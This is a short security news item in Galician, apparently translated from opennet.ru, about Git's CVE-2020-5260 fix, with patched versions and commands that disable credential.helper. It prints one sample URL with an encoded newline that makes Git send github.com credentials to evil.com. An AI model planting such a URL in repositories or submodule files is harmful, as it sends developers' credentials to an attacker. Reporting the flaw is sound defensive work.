Vulnerabilidade de fuga de credenciais de Git

Publicado versións correctivas do sistema de control de fonte distribuído Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 e 2.17.4, en que eliminou vulnerabilidade (CVE-2020-5260) no manejador "credencial.axudante", o que fai que as credenciais se envíen ao host incorrecto cando un cliente git accede a un repositorio usando un URL con formato especial que contén un carácter de nova liña. A vulnerabilidade pódese usar para organizar que as credenciais doutro host se envíen a un servidor controlado polo atacante.

Ao especificar un URL como "https://evil.com?%0ahost=github.com/", o controlador de credenciais ao conectarse ao host evil.com pasará os parámetros de autenticación especificados para github.com. O problema ocorre cando se realizan operacións como "git clone", incluíndo o procesamento de URL para submódulos (por exemplo, "git submodule update" procesará automaticamente os URL especificados no ficheiro .gitmodules do repositorio). A vulnerabilidade é máis perigosa nas situacións nas que un programador clona un repositorio sen ver o URL, por exemplo, cando se traballa con submódulos ou en sistemas que realizan accións automáticas, por exemplo, nos scripts de compilación de paquetes.

Para bloquear vulnerabilidades nas novas versións prohibido pasando un carácter de nova liña en calquera valor transmitido a través do protocolo de intercambio de credenciais. Para as distribucións, pode seguir o lanzamento de actualizacións de paquetes nas páxinas Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arco, FreeBSD.

Como solución para bloquear o problema recomendado Non use credential.helper cando acceda a repositorios públicos e non use "git clone" no modo "--recurse-submodules" con repositorios sen marcar. Para desactivar completamente o manejador credential.helper, que o fai conservación e recuperando contrasinais de caché, protexido repositorios ou un ficheiro con contrasinais, pode usar os comandos:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Fonte: opennet.ru

Engadir un comentario